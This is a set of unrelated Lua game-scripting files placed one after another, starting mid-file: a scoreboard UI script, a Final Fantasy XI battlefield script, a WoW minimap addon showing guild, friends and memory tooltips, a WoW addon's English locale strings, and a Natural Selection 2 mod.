TitleImage:SetColor(title.iconColor or Color.WHITE) TitleImage.visibility = Visibility.FORCE_ON else TitleImage.visibility = Visibility.FORCE_OFF end end end end -- Initialize PANEL.visibility = Visibility.FORCE_OFF headerLine = World.SpawnAsset(LINE_TEMPLATE, {parent = PANEL}) headerLine:GetCustomProperty("PlayerImage"):WaitForObject().visibility = Visibility.FORCE_OFF headerLine:GetCustomProperty("TitleImage"):WaitForObject().visibility = Visibility.FORCE_OFF headerLine:GetCustomProperty("VIPImage"):WaitForObject().visibility = Visibility.FORCE_OFF headerLine:GetCustomProperty("Level"):WaitForObject().text = "Level" headerLine:GetCustomProperty("Name"):WaitForObject().text = "Name" headerLine:GetCustomProperty("KillsText"):WaitForObject().text = "Kills" headerLine:GetCustomProperty("DeathsText"):WaitForObject().text = "Deaths" headerLine:GetCustomProperty("UltKills"):WaitForObject().text = "Kill Assists" headerLine:GetCustomProperty("CapturePoints"):WaitForObject().text = "Caps/Assists" headerLine:GetCustomProperty("Damage"):WaitForObject().text = "Damage" headerLine:GetCustomProperty("Healing"):WaitForObject().text = "Healing" headerLine:GetCustomProperty("Killstreak"):WaitForObject().text = "Kill Streak" --[[for _, player in ipairs(Game.GetPlayers()) do OnPlayerJoined(player) end]]-- Game.playerLeftEvent:Connect(OnPlayerLeft) Game.playerJoinedEvent:Connect(OnPlayerJoined) LOCAL_PLAYER.bindingPressedEvent:Connect(OnBindingPressed) LOCAL_PLAYER.bindingReleasedEvent:Connect(OnBindingReleased) Events.Connect("TeamVictory_Client", OnTeamVictory) Events.Connect("GameStateChanged", OnGameStateChanged) if SHOW_AT_ROUND_END then Game.roundEndEvent:Connect(OnRoundEnd) end
----------------------------------- -- Area: Cloister of Tides -- BCNM: Trial-size Trial by Water ----------------------------------- local ID = require("scripts/zones/Cloister_of_Tides/IDs") require("scripts/globals/battlefield") require("scripts/globals/quests") ----------------------------------- function onBattlefieldTick(battlefield, tick) tpz.battlefield.onBattlefieldTick(battlefield, tick) end function onBattlefieldRegister(player, battlefield) end function onBattlefieldEnter(player, battlefield) end function onBattlefieldLeave(player, battlefield, leavecode) if leavecode == tpz.battlefield.leaveCode.WON then local name, clearTime, partySize = battlefield:getRecord() local arg8 = (player:getQuestStatus(OUTLANDS, tpz.quest.id.outlands.TRIAL_SIZE_TRIAL_BY_WATER) == QUEST_COMPLETED) and 1 or 0 player:startEvent(32001, battlefield:getArea(), clearTime, partySize, battlefield:getTimeInside(), 1, battlefield:getLocalVar("[cs]bit"), arg8) elseif leavecode == tpz.battlefield.leaveCode.LOST then player:setCharVar("TrialSizeWater_date", tonumber(os.date("%j"))) -- If you lose, you need to wait 1 real day player:startEvent(32002) end end function onEventUpdate(player, csid, option) end function onEventFinish(player, csid, option) if csid == 32001 then if not player:hasSpell(300) then player:addSpell(300) player:messageSpecial(ID.text.LEVIATHAN_UNLOCKED, 0, 0, 2) player:addItem(1260); player:messageSpecial(ID.text.ITEM_OBTAINED,1260); end if not player:hasItem(4181) then player:addItem(4181) -- Scroll of instant warp player:messageSpecial(ID.text.ITEM_OBTAINED, 4181) end player:setCharVar("TrialSizeWater_date", 0) player:addFame(NORG, 30) player:completeQuest(OUTLANDS, tpz.quest.id.outlands.TRIAL_SIZE_TRIAL_BY_WATER) end end
local _, nMinimap = ... local cfg = nMinimap.Config local select = select local ceil = math.ceil local modf = math.modf local format = string.format local sort = table.sort local tinsert = tinsert local playerName, _ = UnitName("player") local playerRealm = GetRealmName() local NUM_ADDONS_TO_DISPLAY = cfg.tab.numberOfAddons or GetNumAddOns() local activezone = CreateColor(0.3, 1.0, 0.0, 1) local inactivezone = CreateColor(0.75, 0.75, 0.75, 1) local guildIcon = CreateTextureMarkup("Interface\\GossipFrame\\TabardGossipIcon", 16, 16, 16, 16, 0, 1, 0, 1, 0, 0) local friendIcon = CreateAtlasMarkup("groupfinder-icon-friend", 18, 18) local performanceIcon = CreateTextureMarkup("Interface\\AddOns\\nMinimap\\media\\texturePerformance", 32, 32, 10, 10, 0, 1, 0, 1, 0, 0) local FriendListEntries = { } local GuildListEntries = { } local MemoryListEntries = { } local AddonTable = { } for i = 1, NUM_ADDONS_TO_DISPLAY do AddonTable[i] = { value = 0, name = "" } end local statusText = { [0] = "", [1] = CHAT_MSG_AFK, [2] = DEFAULT_DND_MESSAGE } local gradientColor = { [0] = CreateColor(0, 1, 0, 1), [1] = CreateColor(1, 1, 0, 1), [2] = CreateColor(1, 0, 0, 1) } local function ColorGradient(perc, colors) local num = #colors if perc >= 1 then return colors[num] elseif perc <= 0 then return colors[0] end local segment, relperc = modf(perc*num) local r1, g1, b1, r2, g2, b2 r1, g1, b1 = colors[segment]:GetRGB() r2, g2, b2 = colors[segment+1]:GetRGB() if not r2 or not g2 or not b2 then return colors[0] else local r = r1 + (r2-r1)*relperc local g = g1 + (g2-g1)*relperc local b = b1 + (b2-b1)*relperc return CreateColor(r, g, b, 1) end end local function RGBGradient(num) num = num or 0 local r, g, b = ColorGradient(num, gradientColor):GetRGB() return r, g, b end local function SetupChildFrames(self, template, numEntries, initialOffsetX, initialOffsetY, initialPoint, initialRelative, offsetX, offsetY, point, relativePoint) local round = function (num) return math.floor(num + .5) end local scrollChild = self.scrollChild local entry, entryHeight, entries local parentName = self:GetName() local entryName = parentName and (parentName .. "Entry") or nil initialPoint = initialPoint or "TOPLEFT" initialRelative = initialRelative or "TOPLEFT" point = point or "TOPLEFT" relativePoint = relativePoint or "BOTTOMLEFT" offsetX = offsetX or 0 offsetY = offsetY or 0 if self.entries then entries = self.entries entryHeight = entries[1]:GetHeight() else entry = CreateFrame("FRAME", entryName and (entryName .. 1) or nil, scrollChild, template) entryHeight = entry:GetHeight() entry:SetPoint(initialPoint, scrollChild, initialRelative, initialOffsetX, initialOffsetY) entry:SetPoint("TOPRIGHT", scrollChild, initialOffsetX, initialOffsetY) entries = {} tinsert(entries, entry) end self.entryHeight = round(entryHeight) - offsetY local numEntries = numEntries or math.ceil(self:GetHeight() / self.entryHeight) + 1 for i = #entries + 1, numEntries do entry = CreateFrame("FRAME", entryName and (entryName .. i) or nil, scrollChild, template) entry:SetPoint(point, entries[i-1], relativePoint, offsetX, offsetY) entry:SetPoint("TOPRIGHT", entries[i-1], "BOTTOMRIGHT", offsetX, offsetY) tinsert(entries, entry) end scrollChild:SetWidth(self:GetWidth()) scrollChild:SetHeight(numEntries * self.entryHeight) self:SetVerticalScroll(0) self:UpdateScrollChildRect() self.entries = entries end local function CreateScrollFrame(name, width, height, numChild) local scrollFrame = CreateFrame("ScrollFrame", name.."ScrollFrame", UIParent, "TooltipScrollFrameTemplate") scrollFrame:SetSize(width, height) scrollFrame:SetPoint("CENTER") scrollFrame:Hide() scrollFrame.scrollChild = CreateFrame("FRAME", name.."ScrollChild") scrollFrame:SetScrollChild(scrollFrame.scrollChild) scrollFrame.scrollBar = _G[scrollFrame:GetName().."ScrollBar"] scrollFrame.scrollBar:SetAlpha(0) SetupChildFrames(scrollFrame, "DoubleTemplate", numChild) scrollFrame:SetScript("OnSizeChanged", function(self, width, height) if self:IsShown() then GameTooltip:SetMinimumWidth(width) GameTooltip:SetPadding(0, 0) end end) return scrollFrame end function nMinimapTab_OnLoad(self) if not cfg.tab.show then self:Hide() self:UnregisterAllEvents() self.Guild:UnregisterAllEvents() self.Friends:UnregisterAllEvents() self.Info:UnregisterAllEvents() return end self.lastUpdate = 0 self:RegisterEvent("PLAYER_LOGIN") self:SetWidth(Minimap:GetWidth()-6) self:CreateBeautyBorder(11) nMinimapTab_HideTab() if cfg.tab.showBelowMinimap then self:ClearAllPoints() self:SetPoint("TOP", Minimap, "BOTTOM", 0, 2) end end function nMinimapTab_OnUpdate(self, elapsed) self.lastUpdate = self.lastUpdate + elapsed if self.lastUpdate > 5 then local _, _, _, lagWorld = GetNetStats() self.Info.Text:SetText(performanceIcon..lagWorld) self.lastUpdate = 0 end end function nMinimapTab_ShowTab() if not cfg.tab.show then return end securecall("UIFrameFadeIn", nMinimapTab, 0.20, nMinimapTab:GetAlpha(), 1) end function nMinimapTab_HideTab() GameTooltip:Hide() if cfg.tab.showAlways or not cfg.tab.show then return end securecall("UIFrameFadeOut", nMinimapTab, 0.20, nMinimapTab:GetAlpha(), 0) end --// Guild Frame function nMinimap:UpdateGuildText(self) if IsInGuild() then local totalMembers, onlineMembers, onlineAndMobileMembers = GetNumGuildMembers() self.Text:SetFormattedText("%s%d", guildIcon, onlineMembers) else self.Text:SetText(guildIcon.." -") end end local GuildScroll = CreateScrollFrame("Guild", 300, 340, 1000) function nMinimap_UpdateGuildButton(entry) local scrollFrame = GuildScrollFrame local index = entry.index entry.id = GuildListEntries[index].id local height = scrollFrame.entryHeight local minWidth = scrollFrame:GetWidth() local zonec, classc, levelc local name, rank, _, level, _, zone, note, officernote, connected, status, class, _ = GetGuildRosterInfo(entry.id) if connected then zone = zone or UNKNOWN if GetRealZoneText() == zone then zonec = activezone else zonec = inactivezone end levelc = GetQuestDifficultyColor(level) classc = RAID_CLASS_COLORS[class] level = WrapTextInColorCode(level, CreateColor(levelc.r, levelc.g, levelc.b, 1):GenerateHexColor()) name = WrapTextInColorCode(name, classc:GenerateHexColor()) zone = WrapTextInColorCode(zone, zonec:GenerateHexColor()) entry.LeftText:SetFormattedText("%s %s %s", level, name, statusText[status]) entry.RightText:SetText(zone) minWidth = math.max(minWidth, entry.LeftText:GetWidth()+entry.RightText:GetWidth()+100) entry:Show() end scrollFrame:SetWidth(minWidth) scrollFrame.scrollChild:SetWidth(minWidth) return height end function nMinimap_UpdateGuildMembers() local scrollFrame = GuildScrollFrame local offset = scrollFrame.offset local entries = scrollFrame.entries local numEntries = #entries local numFrames = scrollFrame.numEntries sort(GuildListEntries, function(a, b) if a.name and b.name then return a.name < b.name end end) local usedHeight = 0 for i = 1, numEntries do local frame = entries[i] local index = offset + i if frame then if index <= numFrames then frame.index = index local height = nMinimap_UpdateGuildButton(frame) frame:SetHeight(height) usedHeight = usedHeight + height else frame.index = nil frame:Hide() end end end usedHeight = math.min(usedHeight, 340) if not scrollFrame:IsVisible() then scrollFrame:SetHeight(usedHeight) else scrollFrame.isPendingHeight = true scrollFrame.pendingHeight = usedHeight end scrollFrame.scrollChild:SetHeight(usedHeight) end function nMinimapTab_Guild_UpdateScrollFrame() local scrollFrame = GuildScrollFrame local addButtonIndex = 0 local totalButtonHeight = 0 local function AddButtonInfo(id, name) addButtonIndex = addButtonIndex + 1 if not GuildListEntries[addButtonIndex] then GuildListEntries[addButtonIndex] = { } end GuildListEntries[addButtonIndex].id = id GuildListEntries[addButtonIndex].name = name totalButtonHeight = totalButtonHeight + scrollFrame.entryHeight end for i = 1, GetNumGuildMembers() do local name, rank, _, level, _, zone, note, officernote, connected, status, class, _ = GetGuildRosterInfo(i) if connected and name ~= playerName.."-"..playerRealm then AddButtonInfo(i, name) end end scrollFrame.totalEntriesHeight = totalButtonHeight scrollFrame.numEntries = addButtonIndex nMinimap_UpdateGuildMembers() end function nMinimapTab_Guild_OnEvent(self, event, ...) if event == "PLAYER_GUILD_UPDATE" or event == "GUILD_ROSTER_UPDATE" then GuildRoster() end nMinimap:UpdateGuildText(self) nMinimapTab_Guild_UpdateScrollFrame() end function nMinimapTab_Guild_ShowTooltip(self) if not IsInGuild() then return end if IsShiftKeyDown() then nMinimap:UpdateGuildText(self) nMinimapTab_Guild_UpdateScrollFrame() end local totalMembers, onlineMembers, onlineAndMobileMembers = GetNumGuildMembers() local zonec, classc, levelc GameTooltip:ClearLines() GameTooltip:ClearAllPoints() GameTooltip:SetPoint("TOPRIGHT", self, "BOTTOMRIGHT", 0, 2) GameTooltip:SetOwner(self, "ANCHOR_PRESERVE") GameTooltip:AddLine(GetGuildInfo("player")) GameTooltip:AddLine(" ") GameTooltip:AddLine(GUILD_MOTD) GameTooltip:AddLine(GetGuildRosterMOTD() or "-", 1, 1, 1, true) GameTooltip:AddLine(" ") if onlineMembers > 1 then GameTooltip_InsertFrame(GameTooltip, GuildScroll) end GameTooltip:AddLine(" ") GameTooltip:AddLine(GUILD_MEMBERS_ONLINE_COLON.." "..format("|cffffffff%d/%d|r", onlineMembers, totalMembers)) GameTooltip:Show() end -- // Friends Frame local FriendsScroll = CreateScrollFrame("Friends", 300, 340, 200) function nMinimap_UpdateFriendButton(entry) local scrollFrame = FriendsScrollFrame local index = entry.index entry.buttonType = FriendListEntries[index].buttonType entry.id = FriendListEntries[index].id local height = scrollFrame.entryHeight local minWidth = scrollFrame:GetWidth() local zonec, classc, levelc if entry.buttonType == FRIENDS_BUTTON_TYPE_BNET then local _, accountName, battleTag, _, characterName, bnetIDGameAccount, client, isOnline, _, isAFK, isDND = BNGetFriendInfo(FriendListEntries[index].id) if isOnline then local _, _, _, realmName, realmID, faction, race, class, _, zoneName, level, gameText = BNGetGameAccountInfo(bnetIDGameAccount) characterName = BNet_GetValidatedCharacterName(characterName, battleTag, client) accountName = WrapTextInColorCode(accountName, FRIENDS_BNET_NAME_COLOR:GenerateHexColor()) local clientIcon = BNet_GetClientEmbeddedTexture(client, 14) for k, v in pairs(LOCALIZED_CLASS_NAMES_MALE) do if class == v then classc = RAID_CLASS_COLORS[k] break end end if not classc then for k, v in pairs(LOCALIZED_CLASS_NAMES_FEMALE) do if class == v then classc = RAID_CLASS_COLORS[k] break end end end if client == BNET_CLIENT_WOW then if isAFK == true then status = 1 elseif isDND == true then status = 2 else status = 0 end level = tonumber(level) levelc = GetQuestDifficultyColor(level) if classc == nil then characterName = characterName .. "-UnknownClass" classc = FRIENDS_BNET_NAME_COLOR end level = WrapTextInColorCode(level, CreateColor(levelc.r, levelc.g, levelc.b, 1):GenerateHexColor()) entry.LeftText:SetFormattedText("%s (%s %s) %s", accountName, level, characterName, statusText[status]) entry.RightText:SetText(clientIcon) else entry.LeftText:SetFormattedText(accountName) entry.RightText:SetText(clientIcon) end minWidth = math.max(minWidth, entry.LeftText:GetWidth()+entry.RightText:GetWidth()+100) entry:Show() end elseif entry.buttonType == FRIENDS_BUTTON_TYPE_WOW then local info = C_FriendList.GetFriendInfoByIndex(FriendListEntries[index].id) if info then if info.connected then for k, v in pairs(LOCALIZED_CLASS_NAMES_MALE) do if info.className == v then classc = RAID_CLASS_COLORS[k] break end end if not classc then for k, v in pairs(LOCALIZED_CLASS_NAMES_FEMALE) do if info.className == v then classc = RAID_CLASS_COLORS[k] break end end end info.name = info.name or UNKNOWN local chatFlag = "" if info.dnd then chatFlag = DEFAULT_DND_MESSAGE elseif info.afk then chatFlag = CHAT_FLAG_AFK end if GetRealZoneText() == info.area then zonec = activezone else zonec = inactivezone end levelc = GetQuestDifficultyColor(info.level) info.level = WrapTextInColorCode(info.level, CreateColor(levelc.r, levelc.g, levelc.b, 1):GenerateHexColor()) info.name = WrapTextInColorCode(info.name, classc:GenerateHexColor()) info.area = WrapTextInColorCode(info.area, zonec:GenerateHexColor()) entry.LeftText:SetFormattedText("%s %s %s", info.level, info.name, chatFlag) entry.RightText:SetFormattedText(info.area) minWidth = math.max(minWidth, entry.LeftText:GetWidth()+entry.RightText:GetWidth()+100) entry:Show() end end end scrollFrame.scrollChild:SetWidth(minWidth) scrollFrame:SetWidth(minWidth) return height end function nMinimap_UpdateFriends() local scrollFrame = FriendsScrollFrame local offset = 0 local entries = scrollFrame.entries local numEntries = #entries local numFrames = scrollFrame.numEntries local usedHeight = 0 for i = 1, numEntries do local frame = entries[i] local index = offset + i if index <= numFrames then frame.index = index local height = nMinimap_UpdateFriendButton(frame) frame:SetHeight(height) usedHeight = usedHeight + height else frame.index = nil frame:Hide() end end usedHeight = math.min(usedHeight, 340) if not scrollFrame:IsVisible() then scrollFrame:SetHeight(usedHeight) else scrollFrame.isPendingHeight = true scrollFrame.pendingHeight = usedHeight end scrollFrame.scrollChild:SetHeight(usedHeight) end function nMinimapTab_Friends_UpdateScrollFrame() local BNTotal, BNOnline = BNGetNumFriends() local WoWTotal, WoWOnline = C_FriendList.GetNumFriends(), C_FriendList.GetNumOnlineFriends() local scrollFrame = FriendsScrollFrame local addButtonIndex = 0 local totalButtonHeight = 0 local function AddButtonInfo(buttonType, id) addButtonIndex = addButtonIndex + 1 if not FriendListEntries[addButtonIndex] then FriendListEntries[addButtonIndex] = { } end FriendListEntries[addButtonIndex].buttonType = buttonType FriendListEntries[addButtonIndex].id = id totalButtonHeight = totalButtonHeight + scrollFrame.entryHeight end -- Online Battlenet Friends for i = 1, BNOnline do AddButtonInfo(FRIENDS_BUTTON_TYPE_BNET, i) end -- Online WoW Friends for i = 1, WoWOnline do AddButtonInfo(FRIENDS_BUTTON_TYPE_WOW, i) end scrollFrame.totalEntriesHeight = totalButtonHeight scrollFrame.numEntries = addButtonIndex nMinimap_UpdateFriends() end function nMinimapTab_Friends_ShowTooltip(self) local BNTotal, BNOnline = BNGetNumFriends() local WoWTotal, WoWOnline = C_FriendList.GetNumFriends(), C_FriendList.GetNumOnlineFriends() local totalFriendsOnline = BNOnline + WoWOnline local totalfriends = BNTotal + WoWTotal local invites = BNGetNumFriendInvites() local zonec, classc, levelc, realmc if totalFriendsOnline == 0 then return end GameTooltip:ClearAllPoints() GameTooltip:SetPoint("TOPRIGHT", self, "BOTTOMRIGHT", 0, 2) GameTooltip:SetOwner(self, "ANCHOR_PRESERVE") GameTooltip:ClearLines() GameTooltip:AddLine(format("%s: %s/%s", FRIENDS_LIST_ONLINE, totalFriendsOnline, totalfriends)) if totalFriendsOnline > 0 then GameTooltip:AddLine(" ") GameTooltip_InsertFrame(GameTooltip, FriendsScroll) end if invites > 0 then GameTooltip:AddLine(format(BN_INLINE_TOAST_FRIEND_PENDING, invites)) end GameTooltip:Show() end function nMinimapTab_Friends_OnEvent(self, event, ...) local BNTotal, BNOnline = BNGetNumFriends() local WoWTotal, WoWOnline = C_FriendList.GetNumFriends(), C_FriendList.GetNumOnlineFriends() local totalFriendsOnline = BNOnline + WoWOnline self.Text:SetFormattedText("%s%d", friendIcon, totalFriendsOnline) nMinimapTab_Friends_UpdateScrollFrame() end --// Info Frame local function AddonMem() local totalMem = 0 if IsAltKeyDown() then collectgarbage() end for i=1, NUM_ADDONS_TO_DISPLAY, 1 do AddonTable[i].value = 0 end UpdateAddOnMemoryUsage() for i=1, GetNumAddOns(), 1 do local mem = GetAddOnMemoryUsage(i) totalMem = totalMem + mem for j = 1, NUM_ADDONS_TO_DISPLAY, 1 do if mem > AddonTable[j].value then for k = NUM_ADDONS_TO_DISPLAY, 1, -1 do if k == j then AddonTable[k].value = mem AddonTable[k].name = GetAddOnInfo(i) break elseif k ~= 1 then AddonTable[k].value = AddonTable[k-1].value AddonTable[k].name = AddonTable[k-1].name end end break end end end return totalMem end local function NumberOfActiveAddon() local active = 0 for i=1, NUM_ADDONS_TO_DISPLAY, 1 do if AddonTable[i].value ~= 0 then active = active+1 end end return active end local MemoryScroll = CreateScrollFrame("Memory", 300, 340, NUM_ADDONS_TO_DISPLAY) function nMinimap_UpdateMemoryButton(entry) local scrollFrame = MemoryScrollFrame local index = entry.index entry.id = MemoryListEntries[index].id local height = scrollFrame.entryHeight local minWidth = scrollFrame:GetWidth() local name = AddonTable[entry.id].name local value = AddonTable[entry.id].value if value ~= 0 then entry.LeftText:SetText(name) if value > 1000 then entry.RightText:SetFormattedText("%.2f MB", value/1000) else entry.RightText:SetFormattedText("%.0f KB", value) end end minWidth = math.max(minWidth, entry.LeftText:GetWidth()+entry.RightText:GetWidth()+75) scrollFrame.scrollChild:SetWidth(minWidth) scrollFrame:SetWidth(minWidth) return height end function nMinimap_UpdateMemory() local scrollFrame = MemoryScrollFrame local entries = scrollFrame.entries local numEntries = #entries local numFrames = scrollFrame.numEntries local usedHeight = 0 for index = 1, numEntries do local frame = entries[index] if index <= numFrames then frame.index = index local height = nMinimap_UpdateMemoryButton(frame) frame:SetHeight(height) usedHeight = usedHeight + height else frame.index = nil frame:Hide() end end usedHeight = math.min(usedHeight, 340) scrollFrame:SetHeight(usedHeight) scrollFrame.scrollChild:SetHeight(usedHeight) end function nMinimapTab_Memory_UpdateScrollFrame() local scrollFrame = MemoryScrollFrame local addButtonIndex = 0 local totalButtonHeight = 0 local function AddButtonInfo(id) addButtonIndex = addButtonIndex + 1 if not MemoryListEntries[addButtonIndex] then MemoryListEntries[addButtonIndex] = { } end MemoryListEntries[addButtonIndex].id = id totalButtonHeight = totalButtonHeight + scrollFrame.entryHeight end for i = 1, NumberOfActiveAddon() do AddButtonInfo(i) end scrollFrame.totalEntriesHeight = totalButtonHeight scrollFrame.numEntries = addButtonIndex nMinimap_UpdateMemory() end function nMinimapTab_Info_ShowTooltip(self) local totalMem = AddonMem() GameTooltip:ClearLines() GameTooltip:ClearAllPoints() GameTooltip:SetPoint("TOPRIGHT", self, "BOTTOMRIGHT", 0, 2) GameTooltip:SetOwner(self, "ANCHOR_PRESERVE") GameTooltip:AddLine(COMBAT_MISC_INFO) GameTooltip:AddLine(" ") -- Ping local _, _, lagHome, lagWorld = GetNetStats() GameTooltip:AddLine("|cffFFFFFF"..HOME..":|r "..format("%s ms", lagHome), RGBGradient(lagHome / 100)) GameTooltip:AddLine("|cffFFFFFF"..WORLD..":|r "..format("%d ms", lagWorld), RGBGradient(lagWorld / 100)) -- Protocol Types if GetCVarBool("useIPv6") then local ipTypes = { "IPv4", "IPv6" } local ipTypeHome, ipTypeWorld = GetNetIpTypes() local ip6 = format(MAINMENUBAR_PROTOCOLS_LABEL, ipTypes[ipTypeHome or 0] or UNKNOWN, ipTypes[ipTypeWorld or 0] or UNKNOWN) GameTooltip:AddLine(" ") GameTooltip:AddLine(ip6, 1.0, 1.0, 1.0) end -- Bandwidth local bandwidth = GetAvailableBandwidth() if bandwidth > 0 then local bandwidthText = format(MAINMENUBAR_BANDWIDTH_LABEL, bandwidth) local downloadText = format(MAINMENUBAR_DOWNLOAD_PERCENT_LABEL, floor(GetDownloadedPercentage()*100+0.5)) GameTooltip:AddLine(" ") GameTooltip:AddDoubleLine(bandwidthText, downloadText, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0) end -- Memory GameTooltip:AddLine(" ") GameTooltip:AddLine(format(TOTAL_MEM_MB_ABBR, totalMem/1000), 1.0, 1.0, 1.0) if NUM_ADDONS_TO_DISPLAY > 0 then nMinimapTab_Memory_UpdateScrollFrame() GameTooltip_InsertFrame(GameTooltip, MemoryScroll) end GameTooltip:Show() end --// Minimap Scripts if not cfg.tab.showAlways then Minimap:HookScript("OnEnter",function() nMinimapTab_ShowTab() end) Minimap:HookScript("OnLeave", function() nMinimapTab_HideTab() end) end
local L = LibStub("AceLocale-3.0"):NewLocale("PowerRaid", "enUS", true, true); L = L or {} L["Power Raid"] = true L["PowerRaid"] = true L["optionsDesc"] = "You can type /%s %s to open main Power Raid window." L["Open Power Raid"] = true L["Open the main Power Raid window."] = true L["Left Click"] = true L["Show GUI"] = true L["loading"] = "Loading . . ." L["Can't scan, not in a group"] = true L["Can't report, not in a group"] = true L["scanForTab"] = "Scan for %s" -- %s=tab L["reportForTab"] = "Report %s" -- %s=tab L["checkForTabTitle"] = "Check for these %s:" -- %s=tab L["Everyone in the raid needs the addon to be shown here."] = true L["Spec"] = true L["Class"] = true L["Unknown Spec"] = true -- Console L["pr"] = true L["window"] = true L["report"] = true L["windowConsole"] = "Open/close Power Raid window." L["reportConsole"] = "Scan and report tab. Choose a tab to see which channels and report types are available." L["reportConsoleExample"] = "/%s %s (%s) (channel) (report_type)" L["invalidTab"] = "|cFFFF0000Invalid tab!|r Valid tabs: %s" L["invalidChannel"] = "|cFFFF0000Invalid channel!|r Valid channels: %s" L["invalidReportType"] = "|cFFFF0000Invalid report type!|r Valid report types: %s" -- Report Channels L["Say"] = true L["Party"] = true L["Guild"] = true L["Officer"] = true L["Raid"] = true L["BG"] = true L["Whisper"] = true L["Export"] = true -- Tabs L["Raid Buffs"] = true L["World Buffs"] = true L["Paladin Buffs"] = true L["Raid Items"] = true L["Consumables"] = true L["Talents"] = true L["Settings"] = true -- Consumables Tab L["Choose Item or Buff and Class to Check for:"] = true L["Item"] = true L["Items"] = true L["Buff"] = true L["Buffs"] = true L["scanForConsumesSpec"] = "Scan %s" -- %s=spec L["addRemoveForSpec"] = "Add/remove for %s" -- %s=spec L["addToSpec"] = "Add to %s:" -- %s=spec L["removeFromSpec"] = "Remove from %s:" -- %s=spec L["specConsumables"] = "%s Consumables:" -- %s=spec L["Clear Selected"] = true L["Lesser"] = true L["lesserDescription"] = "Allow lesser potions/items/buffs to count in place of greater ones.\nExample: Fire Protection Potion item count/buff will count towards Greater Fire Protection Potion" -- Talents Tab L["specClass"] = "Spec Class:" L["specName"] = "Spec Name:" L["specAddEditBoxLabel"] = "Spec Data (classic.wowhead.com/talent-calc):" L["talentDeleteLabel"] = "Select talent to delete:" -- Settings Tab L["Settings:"] = true L["Smart Buff Filtering"] = true L["Show Minimap Icon"] = true L["Export Power Raid Settings"] = true L["Import Power Raid Settings"] = true L["Scan for versions"] = true L["MISSING"] = true L["OFFLINE"] = true L["exportFailed"] = "EXPORT FAILED! Your Power Raid settings are corrupted and cannot be exported." L["importFailed"] = "IMPORT FAILED! Invalid settings data for Power Raid." L["Copy text below:"] = true L["Paste settings below:"] = true L["Import Settings String"] = true -- Reporting L["Report Settings"] = true L["%s Assignments"] = true -- %s=tab L["This will scan before reporting!"] = true L["Channel"] = true L["Type"] = true L["reportOutputting"] = "Outputting %s" -- %s=report type L["reportMissingWhisper"] = "%s missing that you are assigned" -- %s=tab L["Unknown"] = true L["Raid Report"] = true L["Example"] = true L["reportExampleRaidGroupDesc"] = "The [NUMBER] indicates the raid group that the player is in" L["reportExamplePlayer"] = "Player%d" -- %d=1-4 L["assignmentsDialogDesc"] = "This is where %s assignments can be set. When choosing the \"Whisper\" report channel, only the players with group assignments will be whispered. The whisper will contain a list of players that are missing the %s that the whispered player is assigned." -- %s=tab L["showUnknownLabel"] = "Report Players With Unknown Status" L["showUnknownDesc"] = "A player will have an unknown status if they don't have the addon installed or an error has occurred" -- Report Dialog L["ReportDialogSettingsTitle"] = "%s Report Settings" -- %s=tab L["ReportDialogSettingsTypeLabel"] = "The report type for %s" -- %s=tab L["ReportDialogSettingsChannelLabel"] = "The report channel for %s" -- %s=tab -- Report Types L["missing_all"] = "|cFFFF0000Players Missing All|r %s" -- %s=tab L["missing_any"] = "|cFFFF7F00Players Missing One or More|r %s" -- %s=tab L["missing_each"] = "%s that |cFFFF0000Each Player is Missing|r" -- %s=tab L["has_all"] = "|cFF40FF40Players Having All|r %s" -- %s=tab L["has_any"] = "|cFFFFC400Players Having One or More|r %s" -- %s=tab L["has_each"] = "%s that |cFF40FF40Each Player Has|r" -- %s=tab L["invalid"] = "Players with |cFFFF0000Invalid|r %s" -- %s=tab L["valid"] = "Players with |cFF40FF40Valid|r %s" -- %s=tab -- Buffs Short L["Fort"] = true L["Spirit"] = true L["MoTW"] = true L["Int"] = true L["ShadowProt"] = true L["Kings"] = true L["Might"] = true L["Wisdom"] = true L["Salvation"] = true L["Sanctuary"] = true L["Light"] = true -- World Buffs Short L["Ony/Nef"] = true L["Songflower"] = true L["Rend"] = true L["DMF"] = true L["DMT"] = true L["ZG"] = true L["UBRS"] = true -- Raid Items Short L["Quint"] = true L["Ony Key"] = true L["Ony Cloak"] = true L["Equipped"] = true -- ex: Ony Cloak (Equipped) L["UBRS Key"] = true L["Sand"] = true -- Specs Short L["All Classes"] = true L["Ele"] = true L["Enh"] = true L["Feral DPS"] = true L["Moonkin"] = true L["Feral Tank"] = true L["Healing"] = true L["Holy"] = true L["Prot"] = true L["Resto"] = true L["Ret"] = true L["Shadow"] = true L["DPS"] = true -- Bosses L["General"] = true L["PVP"] = true L["Azuregos"] = true L["Lord Kazzak"] = true L["Emeriss"] = true L["Lethon"] = true L["Taerar"] = true L["Ysondre"] = true L["Lucifron"] = true L["Magmadar"] = true L["Gehennas"] = true L["Garr"] = true L["Shazzrah"] = true L["Baron Geddon"] = true L["Golemagg the Incinerator"] = true L["Sulfuron Harbinger"] = true L["Majordomo Executus"] = true L["Ragnaros"] = true L["Razorgore the Untamed"] = true L["Vaelastrasz the Corrupt"] = true L["Broodlord Lashlayer"] = true L["Firemaw"] = true L["Ebonroc"] = true L["Flamegor"] = true L["Chromaggus"] = true L["Nefarian"] = true
return require('apiversionheader')
-- Natural Selection 2 Competitive Mod -- Source located at - https://github.com/xToken/CompMod -- lua\CompMod\Structures\Alien\Shell\server.lua -- - Dragon local originalShellOnUpdate originalShellOnUpdate = Class_ReplaceMethod("Shell", "OnUpdate", function(self, deltaTime) originalShellOnUpdate(self, deltaTime) if not self:GetIsAlive() then local destructionAllowedTable = { allowed = true } if self.GetDestructionAllowed then self:GetDestructionAllowed(destructionAllowedTable) end if destructionAllowedTable.allowed then DestroyEntity(self) end end end ) function Shell:OnTeleport() self:SetDesiredInfestationRadius(0) end function Shell:OnTeleportEnd(destinationEntity) self:CleanupInfestation() end function Shell:OnTeleportFailed() self:SetDesiredInfestationRadius(self:GetInfestationMaxRadius()) end function Shell:GetDestroyOnKill() return false end function Shell:OnKill(attacker, doer, point, direction) self:SetModel(nil) local team = self:GetTeam() if team then team:OnTeamEntityDestroyed(self) end end function Shell:GetPassiveBuild() return self:GetGameEffectMask(kGameEffect.OnInfestation) end
